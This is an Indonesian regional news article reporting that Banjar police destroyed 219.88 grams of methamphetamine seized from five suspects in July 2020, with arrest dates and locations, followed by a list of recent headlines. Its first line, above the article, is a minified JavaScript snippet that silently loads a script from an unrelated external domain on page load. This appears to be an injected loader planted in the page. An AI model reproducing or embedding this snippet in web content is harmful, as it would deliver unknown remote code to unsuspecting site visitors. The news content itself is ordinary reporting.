(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Polres Banjar Musnahkan Sabu Seberat 219 Gram dari Lima Tersangka


KANALKALIMANTAN.COM, MARTAPURA – Polres Banjar melakukan pemusnahan barang bukti narkoba berupa sabu yang digelar di ruang Aula Tribrata Mapolres Banjar, Kamis (30/7/2020) pukul 10.00 Wita. Pemusnahan sabu seberat 219,88 gram ini disaksikan juga oleh Kejari Banjar dan PN Martapura.

Pemusnahan narkoba dipimpin Kapolres Banjar AKBP Andri Koko Prabowo, Kajari Banjar Muji Martopo, dan Ketua PN Martapura Makmurin Kusumastuti. Sabu dihancurkan dengan cara dilarutkan bersama air yang kemudian dimasukkan ke dalam blender.

Pemusnahan barang bukti ini dari hasil dari tangkapan jajaran Satresnarkoba Polres Banjar. Tiga dari lima tersangka juga turut dihadirkan untuk menyaksikan pemusnahan barang haram tersebut.

Sebanyak 219,88 gram sabu-sabu yang dimusnahkan berasal dari tersangka SUR sebanyak 4 gram, sedangkan dari tersangka SAL sebanyak 7,18 gram, dan tersangka HAD sebanyak 108 gram. Sabu juga didapat dari tersangka HER sebanyak 98,20 gram, dan seorang tersangka perempuan MAR sebanyak 2,50 gram.

Tersangka SUR diringkus pada Sabtu (27/6/2020) bertempat di pinggir Jalan A Yani Km74 Kecamatan Simpang Empat, sedangkan Sal di bekuk rumah nya di Desa 3 Batu Balian Kecamatan Simpang Empat, pada Rabu, (1/7/2020) dan langsung digelandang ke Mapolres Banjar.

Sedangkan HAD diringkus pada Jumat (17/7/2020) di pinggir Jalan A Yani Km16 Kelurahan Gambut, Kecamatan Gambut. Kabupaten Banjar, dan ditemukan barang bukti kemudian Petugas melakukan pengembangan di rumah tersangka yang berlokasi di komplek Griya Pesona Bhayangkara, Kelurahan Guntung Manggis Kota Banjarbaru

Sedangkan, HER dibekuk di rumah yang beralamat di Komplek Turangga Kelurahan Mandar Sari, Kecamatan Kertak Hanyar pada Senin (20/7/2020). Seorang tersangka perempuan berinisial MAR dengan sabu seberat 2,50 gram, diringkus di sebuah rumah, yang beralamat di Desa Gudang Hirang Kecamatan Sungai Tabuk Pada Senin (13/7/2020)

“Pada bulan Juli 2020, jajaran Polres Banjar berhasil mengringkus 4 orang tersangka, terdiri 3 pria dan 1 wanita,” kata AKBP Andri Koko. “Ketiga tersangka pria ini, dihadirkan langsung untuk menyaksikan pemusnahan barang bukti jenis narkoba, sedangkan satu tersangka wanita dihadirkan dalam bentuk video conference,” tambahnya. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Cell


Desy Arfianty

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

3 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

6 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

21 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

22 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

22 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

1 hari ago

This website uses cookies.